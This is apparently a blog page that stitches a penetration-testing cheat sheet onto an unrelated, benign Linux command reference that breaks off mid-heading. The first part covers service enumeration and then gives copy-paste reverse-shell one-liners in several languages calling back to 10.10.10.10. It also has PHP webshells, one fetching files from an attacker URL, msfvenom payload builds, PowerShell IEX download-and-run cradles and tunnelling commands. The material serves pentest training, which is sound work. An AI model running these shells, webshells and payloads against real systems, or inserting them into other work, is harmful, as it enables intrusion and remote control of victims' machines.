    # Find technology specific content
    gobuster dir -u http://$ip -w /wordlist -o gobust_php.out -x php
    # Find hidden notes, readme, changelog
    gobuster dir -u http://$ip -w /wordlist -o gobust_txt.out -x txt
    

    Files to browse manually

    /robots.txt
    /sitemap.xml
    # Make it throw an error
    /doesnotexist
    

    Run web server scanning

    # Identifies CMS
    # Identifies Shellshock
    nikto -host $ip -o nikto.txt
    

    Web application-specific scanningย WordPress, useย API

    wpscan --url http://$ip -e p,t,u --detection-mode aggressive > wpscan.log
    

    Drupal, found here

    droopescan scan drupal http://$ip -t 32
    

    Port 110 – POP3

    # Login
    telnet $ip 110
    USER test
    PASS test
    
    # List and view mails
    # O/P: <mail_number> <mail_length>
    list
    # View mail
    retr <mail_number>
    quit
    

    Port 139/445 – SMB

    General enumeration

    nmap -Pn -n -p139,445 --script smb-* $ip
    enum4linux -a $ip
    

    Enumerate hostname

    nmblookup -A $ip
    

    Get version – script available here

    ./smbver.sh $ip [port]
    msf>use auxiliary/scanner/smb/smb_version
    

    List shares Note: smbmap will state access type available, smbclient will NOT. To check access type using smbclient, itโ€™s best to access each share, read a file, and write a file.

    smbmap -H $ip
    # Get share items recursively
    smbmap -H $ip -R <share>
    smbmap -H $ip -d <domain> -u <user> -p <password>
    smbclient -L \\$ip -N
    # Protocol Error?
    smbclient -L \\$ip -N --option='client min protocol=NT1'
    smbclient -L \\$ip -U <user>
    

    Connecting to a share

    # Anonymously
    smbclient //$ip/share -N
    # Authenticated
    smbclient //$ip/share -U <username>
    # Protocol Error?
    smbclient //$ip/share -N --option='client min protocol=NT1'
    

    Port 161 – SNMP

    MIB ValuesWindows Parameters
    1.3.6.1.2.1.25.1.6.0System Processes
    1.3.6.1.2.1.25.4.2.1.2Running Programs
    1.3.6.1.2.1.25.4.2.1.4Processes Path
    1.3.6.1.2.1.25.2.3.1.4Storage Units
    1.3.6.1.2.1.25.6.3.1.2Software Name
    1.3.6.1.4.1.77.1.2.25User Accounts
    1.3.6.1.2.1.6.13.1.3TCP Local Ports
    # Brute force community strings
    # echo public > community
    # echo private >> community
    # echo manager >> community
    # for ip in $(seq 1 254);do echo 10.11.1.$ip;done > snmp-ips
    onesixtyone -c community -i snmp-ips
    
    # Enumerate entire MIB tree
    snmpwalk -c public -v1 $ip
    # Enumerate specific MIB Value
    snmpwalk -c public -v1 $ip $MIB_Value
    
    snmp-check $ip
    

    Port 2049 – NFS

    # NFS < v4
    # Enumerating shares available, and mount points
    showmount -e $ip
    showmount -a $ip
    
    # Mounting, x = NFS Version
    mount -t nfs -o vers=x $ip:<share> <local_dir>
    
    # On target machine
    # Find mount points on the target where SUID programs and scripts can be run from
    mount | grep 'nosuid\|noexec'
    

    Shells / Payloads

    Universal Listeners

    # Netcat
    [sudo] rlwrap nc -nvlp <port>
    
    # msf multi/handler
    msf(exploit/multi/handler)> set payload path/to/payload
    msf(exploit/multi/handler)> set LHOST <ip> # or <interface>
    msf(exploit/multi/handler)> set LPORT <port>
    

    Linux


    One-liners

    Credit to Pentest Monkey

    # bash
    /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
    
    # Perl
    perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    # Python
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    # PHP
    php -r '$sock=fsockopen("10.10.10.10",443);exec("/bin/sh -i &3 2>&3");'
    
    # Ruby
    ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",443).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'
    
    # Netcat : -u for UDP
    nc [-u] 10.10.10.10 443 -e /bin/bash
    
    # Netcat without -e : -u for UDP
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc [-u] 10.10.10.10 443 > /tmp/f
    
    # Java
    r = Runtime.getRuntime()
    p = r.exec(["/bin/bash","-c","exec 5/dev/tcp/10.10.10.10/443;cat &5 >&5; done"] as String[])
    p.waitFor()
    

    Reverse shell scripts

    PHP reverse shell available here or locally /usr/share/webshells/php/php-reverse-shell

    Python PTY shells available here

    Windows

    PowerShell reverse shell availableย hereย PHP reverse shell availableย Netcat for Windows availableย here

    # PowerShell
    cp /opt/nishang/Shells/Invoke-PowerShellTcp.ps1 shell.ps1
    vi shell.ps1
    # go to end of file, paste the following
    Invoke-PowerShellTcp -Reverse -IPAddress [attacker_ip] -Port [attacker_port]
    # close, reverse shell ready to use
    
    # Netcat - use x64 or x32 as per target. powershell.exe or cmd.exe
    nc.exe x.x.x.x <port> -e powershell.exe
    

    PHP Webshells

    # Basic. system() or shell_exec() or exec()
    <?php system($_GET['cmd']);?>
    
    # More functional
    <?php
    $ip = 'http://10.10.14.4/' # [:port] . Change this
    # Upload
    if (isset($_GET['fupload'])) {
        file_put_contents($_GET['fupload'], file_get_contents($ip . $_GET['fupload']));
    };
    # Execute code
    # shell_exec() or system() or exec()
    if (isset($_GET['cmd'])) {
        echo "<pre>" . exec($_GET['cmd']) . "</pre>";
    };
    ?>
    

    Metasploit

    System Binaries

    # Linux reverse shell - Staged
    msfvenom -p linux/x86/shell/reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell
    # Linux reverse shell - Stageless
    msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf > shell
    
    # Windows reverse shell - Staged
    msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o reverse.exe
    # Windows reverse shell - Stageless
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o reverse.exe
    

    Web

    # PHP
    msfvenom -p php/reverse_php
    
    # ASPX
    msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f aspx -o shell.aspx
    
    # JSP
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f raw -o shell.jsp
    
    # WAR
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war -o shell.war
    

    Shellcode

    Select appropriate architecture

    # Linux Staged - use python or c
    msfvenom -p linux/x86/shell/reverse_tcp LHOST=<ip> LPORT=<port> -f python
    # Linux Stageless - use python or c
    msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f python
    
    # Windows Staged - use python or c
    msfvenom -p windows/x64/shell/reverse_tcp LHOST=<ip> LPORT=<port> -f python
    # Windows Stageless - use python or c
    msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f python
    

    Upgrading your shell – Linux

    Upon initial access, it is crucial to achieve the highest functional shell possible for privesc purposes!

    # On victim machine
    which python[3]
    python[3] -c 'import pty;pty.spawn("/bin/bash")'
    # background the listener using ctrl+z
    stty -a # notice the number of rows and columns
    stty raw -echo
    # foreground the process: type fg, press enter
    stty rows xx
    stty columns xxx
    export TERM=xterm-256color
    

    File Transfers

    Server

    # HTTP - Apache2
    # cp file /var/www/html/file_name
    sudo service apache2 start
    
    # HTTP - Python. Default port 8000
    # python2
    sudo python -m SimpleHTTPServer 80
    # python3
    sudo python3 -m http.server 80
    
    # SMB
    sudo impacket-smbserver <share_name> <path/to/share>
    
    # FTP
    # apt-get install python-pyftpdlib
    sudo python -m pyftpdlib -p 21
    
    # TFTP (UDP)
    sudo atftpd --daemon -port 69 /path/to/serve
    
    # Netcat
    nc -nvlp <port> < file/to/send
    

    Linux – HTTP

    # Wget
    wget http://<ip>/file_name -O /path/to/save/file
    
    # Netcat
    nc -nv <ip> <port> > file/to/recv
    
    # cURL
    curl http://<ip>/file_name --output file_name
    

    Windows

    • HTTP
    # Does not save file on the system
    powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<ip>/<file_name>')"
    # Saves file on the system
    powershell.exe -nop -ep bypass -c "iwr -uri http://<ip>/<file_name> -outfile path/to/save/file_name"
    powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadFile('http://<ip>/<file_name>','path/to/save/file_name')"
    
    certutil.exe -urlcache -split -f http://<ip>/file file_save
    
    * Wget.ps1
    
    echo $storageDir = $pwd >> wget.ps1
    $webclient = New-Object System.Net.WebClient >> wget.ps1
    # Download file from
    $url = "http://<ip>/file_name" >> wget.ps1
    # Save file as
    $file = "file_name"
    echo $webclient.DownloadFile($url,$file) >>wget.ps1
    # execute the script as follows
    powershell.exe -nop -ep bypass -nol -noni -f wget.ps1
    

    • TFTP (UDP)
    tftp -i <ip> get file_name
    

    • SMB
    # cmd.exe
    net use Z: \\<attacker_ip>\share_name
    # To access the drive
    Z:
    # PowerShell
    New-PSDrive -Name "notmalicious" -PSProvider "FileSystem" -Root "\\attacker_ip\share_name"
    # To access the drive
    notmalicious:
    
    • FTP
    ftp <ip>
    ftp>binary
    ftp>get file_name
    
    # One-liner downloader
    # in cmd.exe do not use quotes in an echo command
    echo open <ip> >> download.txt
    echo anonymous >> download.txt
    echo anon >> download.txt
    echo binary >> download.txt
    get file_name >> download.txt
    bye >> download.txt
    ftp -s:download.txt
    

    Port Forwarding

    Linux

    • Local port forwarding
    ssh <gateway> -L <local_port_to_listen_to>:<remote_host>:<remote_port>
    
    • Remote port forwarding
    ssh <gateway> -R <remote_port>:<local_host>:<local_port>
    
    • Dynamic port forwarding
    ssh -D <local proxy port> -p <remote port> <target>
    

    Windows

    Chisel is a port forwarding tool for Linux as well as Windows, works over HTTP, and can be foundย here.

    # On KALI
    ./chisel server --reverse --port 9001
    # On Windows
    .\chisel.exe client KALI_IP:9001 R:KALI_PORT:127.0.0.1:WINDOWS_PORT
    

  • Linux Command Cheat Sheet

    Linux Command Cheat Sheet

    If youโ€™ve ever felt that Linux is just for developers or tech experts, weโ€™re here to change that perception. Yes, Linux might seem a bit daunting at first, but once you dive into it, you’ll see why so many people fall in love with its flexibility and power.

    In fact, weโ€™ve dedicated a whole book to it โ€“ Linux Playbook For Hacker’s. This book aims to guide you through the maze of commands and functionalities, making you comfortable and proficient with Linux.

    Linux commands give you exceptional control over your computer, and once you get the hang of them, switching back to Windows or any other operating system might seem less appealing.

    Our Linux Cheatsheet includes everything from basic commands to advanced techniques. You’ll find sections on file and directory management, file permissions, text processing, system information, networking, and more. Plus, weโ€™ve packed it with useful shortcuts to speed up your workflow.

    So, whether youโ€™re just starting or looking to sharpen your skills, this cheatsheet is designed to be your handy reference. Dive in and discover the power of Linux!

    What is Linux?

    Linux is another flavor of Unix, and in many areas has reached them in popularity, being deployed in everything from desktops, laptops, and mobile devices to server farms, supercomputer clusters, and everything else in between. As opposed to proprietary operating systems (OS) such as Windows and macOS, Linux is open-source, meaning that the source code is made available for everyone to view, change, and share. Being open sourced there is an enormous and diverse community that helps maintain and improve it over time.

    In simplest terms, Linux is made up of the Linux kernel – the core of the operating system – which is responsible for maintaining hardware resources and enabling software to communicate with hardware. Distributions (distros) build on top of that kernel, providing a rich mix of additional software, user interfaces, and services that can be mixed and matched to create complete operating systems suitable for a variety of different tasks. Some popular Linux distributions include Ubuntu, Fedora, Debian, and CentOS.

    Linux is known for its stability, security, and flexibility. It is the preferred operating system for servers, cloud computing, and embedded systems, largely due to its robustness and the control it offers administrators. For developers and tech enthusiasts, Linux provides a rich environment for programming, scripting, and system administration.

    Despite its reputation for being complex, Linux has become increasingly user-friendly, with many distributions offering intuitive graphical interfaces and extensive documentation.

    #1. Basic Linux commands

    Linux commands can seem intimidating at first glance, with their terse syntax and vast range of options. But fear not! Once you get the hang of them, you’ll realize that these commands are not only powerful but also incredibly efficient. Imagine being able to perform complex tasks with just a few keystrokes, automate repetitive actions, and troubleshoot issues with precisionโ€”all of this is possible with the right set of commands.

    In this section, weโ€™ll introduce you to some of the most fundamental Linux commands that youโ€™ll need for day-to-day operations. From navigating the filesystem and managing files to checking system resources and configuring networks, these commands are your toolkit for mastering Linux. Each command is accompanied by a description, common options, and examples to help you understand how to use them effectively.

    Our goal is to make you comfortable with the command line, demystifying its use and showing you how it can streamline your work. Whether you’re editing a file, changing permissions, or monitoring system performance, these commands will empower you to get things done efficiently and effectively.

    So, letโ€™s dive in and start exploring the basic Linux commands that will serve as your foundation in this powerful operating system. Below is a comprehensive table that lists these commands, along with their descriptions, options, and examples to help you get started.

    CommandDescriptionOptionsExample
    pwdPrints the current working directoryN/Apwd
    lsLists directory contents-l (long format), -a (all files), -h (human-readable)ls -lh
    cdChanges the directoryN/Acd /home/user
    touchCreates an empty fileN/Atouch file.txt
    cpCopies files or directories-r (recursive), -i (interactive)cp file.txt /backup/
    mvMoves or renames files or directories-i (interactive)mv file.txt newfile.txt
    rmRemoves files or directories-r (recursive), -f (force)rm -rf folder
    catConcatenates and displays filesN/Acat file.txt
    mkdirCreates a new directory-p (parent directories as needed)mkdir new_folder
    rmdirRemoves empty directoriesN/Armdir empty_folder
    chmodChanges file permissionsNumeric (e.g., 755), Symbolic (e.g., u+x)chmod 755 script.sh
    chownChanges file owner and groupuser:groupchown user:group file.txt
    nanoEdits text files in the terminalN/Anano file.txt
    viEdits text files in the terminalN/Avi file.txt
    grepSearches text using patterns-i (ignore case), -r (recursive), -v (invert match)grep -i 'search' file.txt
    dfDisplays disk space usage-h (human-readable)df -h
    duDisplays file and directory space usage-h (human-readable), -s (summary)du -sh folder
    freeDisplays memory usage-h (human-readable)free -h
    psDisplays current processes-e (all processes), -f (full format)ps -ef
    topDisplays running processesN/Atop
    killTerminates processesN/Akill 1234 (PID)
    ifconfigConfigures network interfacesN/Aifconfig eth0
    pingChecks network connectivityN/Aping google.com
    wgetDownloads files from the web-c (continue), -P (directory)wget -P /downloads URL
    sshConnects to remote machines securely-i (identity file), -p (port)ssh user@hostname
    scpSecurely copies files between hosts-P (port)scp file.txt user@host:/path

    #2. File Permission Commands

    Managing file permissions is a crucial aspect of maintaining a secure and efficient Linux system. File permissions control who can read, write, or execute a file, and understanding how to set and modify these permissions is essential for any Linux user. Hereโ€™s an introduction to the most commonly used file permission commands, along with a comprehensive table that details their usage.

    Understanding File Permissions

    In Linux, each file and directory has a set of permissions for three different user categories:

    1. Owner: The user who owns the file.
    2. Group: The group that owns the file.
    3. Others: All other users.

    Permissions are divided into three types:

    • Read (r): Permission to read the file.
    • Write (w): Permission to modify the file.
    • Execute (x): Permission to execute the file as a program.

    Each file’s permissions are displayed as a series of ten characters, for example: -rwxr-xr--

    • The first character indicates the file type (e.g., - for regular file, d for directory).
    • The next three characters show the owner’s permissions.
    • The following three characters show the group’s permissions.
    • The last three characters show others’ permissions.

    File Permission Commands Table

    CommandDescriptionOptionsExample
    chmodChanges file permissions-R (recursive), Numeric (e.g., 755), Symbolic (e.g., u+x)chmod 755 script.sh
    chownChanges file owner-R (recursive)chown user file.txt
    chgrpChanges file group-R (recursive)chgrp group file.txt
    umaskSets default file creation permissionsN/Aumask 022
    statDisplays detailed information about a fileN/Astat file.txt

    Examples and Usage

    chmod (Change Mode)

    The chmod command changes the permissions of a file or directory. You can use either symbolic or numeric mode to specify permissions.

    • Symbolic Mode:
    • u (user/owner)
    • g (group)
    • o (others)
    • a (all)
      chmod u+x script.sh   # Adds execute permission for the owner
      chmod g-w file.txt    # Removes write permission for the group
      chmod a+r file.txt    # Adds read permission for everyone
    • Numeric Mode:
    • r = 4
    • w = 2
    • x = 1 Combine these values to set permissions:
      chmod 755 script.sh   # Sets permissions to rwxr-xr-x
      chmod 644 file.txt    # Sets permissions to rw-r--r--

    chown (Change Owner)

    The chown command changes the ownership of a file or directory.

    chown newuser file.txt           # Changes the owner to 'newuser'
    chown newuser:newgroup file.txt  # Changes the owner to 'newuser' and group to 'newgroup'
    chown -R newuser /path/to/dir    # Recursively changes the owner of all files in the directory

    chgrp (Change Group)

    The chgrp command changes the group ownership of a file or directory.

    chgrp newgroup file.txt          # Changes the group to 'newgroup'
    chgrp -R newgroup /path/to/dir   # Recursively changes the group of all files in the directory

    umask (User File Creation Mask)

    The umask command sets the default permissions for newly created files and directories.

    umask 022                        # Sets default permissions to 755 for directories and 644 for files

    stat (File Status)

    The stat command provides detailed information about a file, including its permissions, owner, size, and modification time.

    stat file.txt

    #3. Environment Variables Commands

    Environment variables are a basic aspect of the Linux foundation and they are used broadly to influence the conduct of software in the process imposing changes where needed. They are used for storing information such as the user preferences, system settings, and the locations of executable files. A Linux user must learn how to handle these variables. This section provides an overview of the commands most often used to interact with environment variables with a handy table listing the commands that provide a high-level, cheat-sheet-like view of their use.

    Environment variables are dynamic values that can affect the way running processes behave on a computer. They can be system-wide or user-specific. Common environment variables include:

    • PATH: Specifies the directories where executable files are located.
    • HOME: The current user’s home directory.
    • USER: The name of the current user.
    • SHELL: The path to the current user’s shell.

    Environment Variables Commands Table

    CommandDescriptionOptionsExample
    printenvPrints all or specific environment variablesN/Aprintenv
    envRuns a command in a modified environmentN/Aenv
    setLists or sets shell variablesN/Aset
    exportSets environment variablesN/Aexport PATH=/usr/local/bin:$PATH
    unsetUnsets environment variablesN/Aunset VARIABLE_NAME
    echoDisplays the value of an environment variableN/Aecho $HOME

    Examples and Usage

    printenv (Print Environment)

    The printenv command prints all or the specified environment variables.

    printenv                   # Prints all environment variables
    printenv PATH              # Prints the value of the PATH variable

    env (Environment)

    The env command runs a command with a modified environment. It can also be used to print all environment variables.

    env                        # Prints all environment variables
    env VAR=value command      # Runs 'command' with VAR set to 'value'

    set (Set Shell Variables)

    The set command lists or sets shell variables.

    set                        # Lists all shell variables and functions

    export (Export Environment Variables)

    The export command sets environment variables so they are available to child processes.

    export PATH=/usr/local/bin:$PATH   # Adds /usr/local/bin to the PATH
    export EDITOR=nano                 # Sets the default editor to nano

    unset (Unset Environment Variables)

    The unset command removes environment variables.

    unset PATH                 # Unsets the PATH variable
    unset EDITOR               # Unsets the EDITOR variable

    echo (Echo Value)

    The echo command displays the value of an environment variable.

    echo $HOME                 # Prints the home directory
    echo $USER                 # Prints the current user name

    #4. User Management Commands in Linux

    For all Linux system administrators, managing users is a basic task. With these commands, you can create, edit and delete user accounts, and manage user group permissions. Here is the list of an introduction to of several the most used user management commands and details in the tables below.

    Every user has a unique user ID (UID) and is a member of one or more groups, each with a unique group ID (GID). It includes tasks like adding new users, editing current users, managing group memberships, and implementing some basic security for user accounts.

    User Management Commands Table

    CommandDescriptionOptionsExample
    useraddAdds a new user-m (create a home directory), -G (additional groups), -s (shell)useradd -m -s /bin/bash newuser
    usermodModifies an existing user-aG (add to group), -s (shell), -d (home directory)usermod -aG sudo newuser
    userdelDeletes a user-r (remove home directory)userdel -r newuser
    groupaddAdds a new groupN/Agroupadd newgroup
    groupmodModifies an existing group-n (new name)groupmod -n newname oldgroup
    groupdelDeletes a groupN/Agroupdel newgroup
    passwdChanges user passwordN/Apasswd newuser
    chageChanges user password expiry information-l (list), -E (expiry date), -m (minimum days)chage -E 2024-12-31 newuser
    idDisplays user ID and group ID-u (user ID), -g (group ID), -G (all groups)id newuser
    suSwitches to another user- (login shell)su - newuser
    sudoExecutes a command as another user-u (user)sudo -u newuser command

    Examples and Usage

    useradd (Add User)

    The useradd the command creates a new user.

    useradd -m -s /bin/bash newuser   # Adds a new user with a home directory and bash shell
    useradd -m -G sudo newuser        # Adds a new user and adds them to the sudo group

    usermod (Modify User)

    The usermod command modifies an existing user account.

    usermod -aG sudo newuser          # Adds the user to the sudo group
    usermod -s /bin/zsh newuser       # Changes the user's shell to zsh
    usermod -d /new/home newuser      # Changes the user's home directory

    userdel (Delete User)

    The userdel command removes a user account.

    userdel newuser                   # Deletes the user
    userdel -r newuser                # Deletes the user and their home directory

    groupadd (Add Group)

    The groupadd command creates a new group.

    groupadd newgroup                 # Creates a new group

    groupmod (Modify Group)

    The groupmod command modifies an existing group.

    groupmod -n newname oldgroup      # Renames the group

    groupdel (Delete Group)

    The groupdel command removes a group.

    groupdel newgroup                 # Deletes the group

    passwd (Change Password)

    The passwd command changes the password of a user.

    passwd newuser                    # Changes the password of the user

    chage (Change Age)

    The chage command changes password expiration information for a user.

    chage -l newuser                  # Lists password expiry information for the user
    chage -E 2024-12-31 newuser       # Sets the account expiry date
    chage -m 7 newuser                # Sets the minimum number of days between password changes

    id (User ID)

    The id command displays the user ID (UID) and group ID (GID) of a user.

    id newuser                        # Displays UID, GID, and group memberships
    id -u newuser                     # Displays only the UID
    id -g newuser                     # Displays only the GID
    id -G newuser                     # Displays all group IDs

    su (Substitute User)

    The su command switches to another user.

    su - newuser                      # Switches to the newuser account with a login shell

    sudo (Super User Do)

    The sudo command allows a permitted user to execute a command as the superuser or another user.

    sudo -u newuser command           # Executes the command as newuser
    sudo apt-get update               # Runs the update command with superuser privileges

    #5. Networking Commands in Linux

    Networking is an important part of the Linux system administration, it allows for connecting other systems, file transfer, troubleshooting network issues, etc. Basic understanding and use of the networking commands line will help you to administrate the network configurations and troubleshoot more efficiently. The following is an introduction to the most frequently used networking commands with a comprehensive chart including the commands.

    Linux networking commands configure network interfaces, check connectivity, manage network services, and analyze network parameters. General networking commands are used to configure and manage network connections for the proper working of devices that can communicate over a computer network using chips, cards, cables, and other resources.

    Networking Commands Table

    CommandDescriptionOptionsExample
    ifconfigConfigures network interfacesup (activate), down (deactivate), inet (IP address)ifconfig eth0 up
    ipShows/manages IP addresses and routesaddr (address), link (device), route (routing table)ip addr show
    pingChecks network connectivity-c (count), -i (interval), -t (TTL)ping -c 4 google.com
    tracerouteTraces the route packets take to a network host-n (numeric), -m (max hops)traceroute google.com
    netstatDisplays network connections and statistics-a (all), -t (TCP), -u (UDP), -p (program)netstat -tuln
    ssDisplays socket statistics-l (listening), -t (TCP), -u (UDP), -p (process)ss -tuln
    digQueries DNS information@server (DNS server), +short (short output)dig google.com
    nslookupQueries DNS to obtain domain name or IP address mappingN/Anslookup google.com
    scpSecurely copies files between hosts-P (port), -r (recursive)scp file.txt user@host:/path
    sshConnects to remote machines securely-i (identity file), -p (port)ssh user@hostname
    ftpTransfers files to/from a remote host-i (interactive mode), -n (no auto-login)ftp hostname
    wgetDownloads files from the web-c (continue), -P (directory)wget -P /downloads URL
    curlTransfers data from or to a server-O (remote-name), -L (location)curl -O http://example.com/file.txt
    routeDisplays/manages the IP routing table-n (numeric), add (add route), del (delete route)route -n
    hostnameShows or sets the system’s hostname-i (IP address), -f (full)hostname -i

    Examples and Usage

    ifconfig (Interface Configuration)

    The ifconfig command is used to configure network interfaces.

    ifconfig                          # Displays all active interfaces
    ifconfig eth0 up                  # Activates the eth0 interface
    ifconfig eth0 down                # Deactivates the eth0 interface
    ifconfig eth0 192.168.1.100       # Assigns IP address to eth0

    ip (IP Address Management)

    The ip command is a powerful tool for managing IP addresses and routing.

    ip addr show                      # Displays all IP addresses
    ip link set eth0 up               # Activates the eth0 interface
    ip addr add 192.168.1.100/24 dev eth0 # Assigns IP address to eth0
    ip route show                     # Displays the routing table

    ping (Packet Internet Groper)

    The ping command tests connectivity to another network host.

    ping google.com                   # Pings google.com continuously
    ping -c 4 google.com              # Pings google.com 4 times
    ping -i 0.5 google.com            # Pings google.com with a 0.5-second interval

    traceroute (Trace Route)

    The traceroute command shows the route packets take to reach a host.

    traceroute google.com             # Traces the route to google.com
    traceroute -n google.com          # Traces the route numerically
    traceroute -m 10 google.com       # Limits the trace to 10 hops

    netstat (Network Statistics)

    The netstat command displays network connections, routing tables, and more.

    netstat -a                        # Shows all connections
    netstat -tuln                     # Shows listening TCP and UDP ports
    netstat -p                        # Shows connections and the PID/program name

    ss (Socket Statistics)

    The ss command provides detailed socket information.

    ss -tuln                          # Lists listening TCP and UDP ports
    ss -tp                            # Shows TCP sockets with process information

    dig (Domain Information Groper)

    The dig command queries DNS servers for information.

    dig google.com                    # Queries DNS information for google.com
    dig @8.8.8.8 google.com           # Uses a specific DNS server (8.8.8.8)
    dig google.com +short             # Provides a short, concise answer

    nslookup (Name Server Lookup)

    The nslookup command queries DNS to obtain domain name or IP address mapping.

    nslookup google.com               # Queries DNS for google.com information
    nslookup 8.8.8.8                  # Queries the IP address for its domain name

    scp (Secure Copy)

    The scp command securely copies files between hosts.

    scp file.txt user@remote:/path    # Copies file.txt to a remote server
    scp -r local_dir user@remote:/path # Recursively copies a directory to a remote server

    ssh (Secure Shell)

    The ssh command connects to remote machines securely.

    ssh user@hostname                 # Connects to a remote host
    ssh -p 2222 user@hostname         # Connects to a remote host on a specific port
    ssh -i /path/to/key user@hostname # Connects using a specific identity file

    ftp (File Transfer Protocol)

    The ftp command transfers files to/from a remote host.

    ftp hostname                      # Connects to an FTP server
    ftp -n hostname                   # Connects without auto-login

    wget (Web Get)

    The wget command downloads files from the web.

    wget http://example.com/file.txt  # Downloads a file from the web
    wget -c http://example.com/file.txt # Continues an interrupted download
    wget -P /downloads http://example.com/file.txt # Downloads to a specific directory

    curl (Client URL)

    The curl command transfers data from or to a server.

    curl -O http://example.com/file.txt # Downloads a file from the web
    curl -L http://example.com          # Follows redirects

    route (Routing Table)

    The route command displays or modifies the IP routing table.

    route -n                          # Displays the routing table numerically
    route add default gw 192.168.1.1  # Adds a default gateway
    route del default gw 192.168.1.1  # Deletes a default gateway

    hostname (Show or Set Hostname)

    The hostname the command shows or sets the system’s hostname.

    hostname                          # Displays the current hostname
    hostname newhostname              # Sets a new hostname
    hostname -i                       # Displays the IP address of the hostname

    #6. Process Management Commands in Linux

    One of the major tasks of a Linux system administrator is process management. Processes are essentially running programs, and knowing how to work with them gives you a way to check system utilization, stop stuck processes, and ensure your computer is using its resources efficiently. Introduction to Common Process Management CommandsA list of how and when to use each process management command can be useful to bookmark for later when you find yourself needing to check on at what state one or more of these commands are running.

    Linux Process can be system processes or user Processes which can be foreground too or Background process. Commands to visit your processes, process management commands that is. The fundamental concepts reviewing the process IDs (PIDs), parent-child process relationships, and the signal to control the process.

    Process Management Commands Table

    CommandDescriptionOptionsExample
    psDisplays current processes-e (all processes), -f (full format), -u (user)ps -ef
    topDisplays and updates process information-d (delay), -n (number of iterations)top
    htopInteractive process viewerN/Ahtop
    killSends a signal to a process-9 (force kill)kill 1234
    killallSends a signal to multiple processes by name-9 (force kill)killall firefox
    pkillSends a signal to processes by name or attribute-9 (force kill), -u (user)pkill -9 chrome
    niceStarts a process with a given priority-n (priority)nice -n 10 command
    reniceChanges the priority of an existing process-n (priority), -p (process)renice -n 15 -p 1234
    bgResumes a suspended job in the backgroundN/Abg %1
    fgBrings a background job to the foregroundN/Afg %1
    jobsLists current jobs-l (list with PIDs)jobs -l
    nohupRuns a command immune to hangupsN/Anohup command &
    atSchedules a command to run at a later time-f (file), -m (mail)at 10:00 AM tomorrow
    cronSchedules recurring tasksN/Acrontab -e
    serviceManages system servicesstart, stop, restart, statusservice apache2 restart
    systemctlControls the systemd system and service managerstart, stop, restart, statussystemctl restart apache2

    Examples and Usage

    ps (Process Status)

    The ps command displays information about active processes.

    ps -ef                                # Displays all processes in full format
    ps aux                                # Displays processes with detailed user-oriented output
    ps -u username                        # Displays processes for a specific user

    top (Table of Processes)

    The top command provides a dynamic, real-time view of running processes.

    top                                   # Displays active processes and updates every few seconds
    top -d 5                              # Updates the display every 5 seconds
    top -n 10                             # Displays 10 iterations and then exits

    htop (Interactive Process Viewer)

    The htop command is an interactive process viewer, similar to top, but with a more user-friendly interface.

    htop                                  # Launches the interactive process viewer

    kill (Terminate a Process)

    The kill command sends a signal to a process, typically to terminate it.

    kill 1234                             # Terminates the process with PID 1234
    kill -9 1234                          # Forcefully terminates the process with PID 1234

    killall (Terminate Processes by Name)

    The killall command sends a signal to all processes running a specified command.

    killall firefox                       # Terminates all instances of Firefox
    killall -9 firefox                    # Forcefully terminates all instances of Firefox

    pkill (Terminate Processes by Attribute)

    The pkill command sends a signal to processes based on name or other attributes.

    pkill chrome                          # Terminates all processes with the name "chrome"
    pkill -9 chrome                       # Forcefully terminates all processes with the name "chrome"
    pkill -u username                     # Terminates all processes owned by a specific user

    nice (Set Process Priority)

    The nice command starts a process with a specified priority.

    nice -n 10 command                    # Starts the command with a nice value of 10

    renice (Change Process Priority)

    The renice command changes the priority of an existing process.

    renice -n 15 -p 1234                  # Changes the priority of the process with PID 1234 to 15

    bg (Background)

    The bg command resumes a suspended job in the background.

    bg %1                                 # Resumes job number 1 in the background

    fg (Foreground)

    The fg command brings a background job to the foreground.

    fg %1                                 # Brings job number 1 to the foreground

    jobs (List Jobs)

    The jobs command lists current jobs.

    jobs -l                               # Lists jobs with their PIDs

    nohup (No Hang Up)

    The nohup command runs a command immune to hangups, with output to a file.

    nohup command &                       # Runs command immune to hangups in the background

    at (Schedule a Command)

    The at command schedules a command to run at a later time.

    at 10:00 AM tomorrow                  # Schedules a command to run at 10:00 AM tomorrow
    echo "command" | at now + 1 hour      # Schedules a command to run in one hour

    cron (Schedule Recurring Tasks)

    The cron command schedules recurring tasks.

    crontab -e                            # Edits the current user's crontab file

    service (Manage System Services)

    The service command manages system services.

    service apache2 restart               # Restarts the Apache2 service
    service apache2 status                # Checks the status of the Apache2 service

    systemctl (Control System and Service Manager)

    The systemctl command controls the systemd system and service manager.

    systemctl start apache2               # Starts the Apache2 service
    systemctl stop apache2                # Stops the Apache2 service
    systemctl restart apache2             # Restarts the Apache2 service
    systemctl status apache2              # Checks the status of the Apache2 service

    #7. File Compression and Archiving Commands in Linux

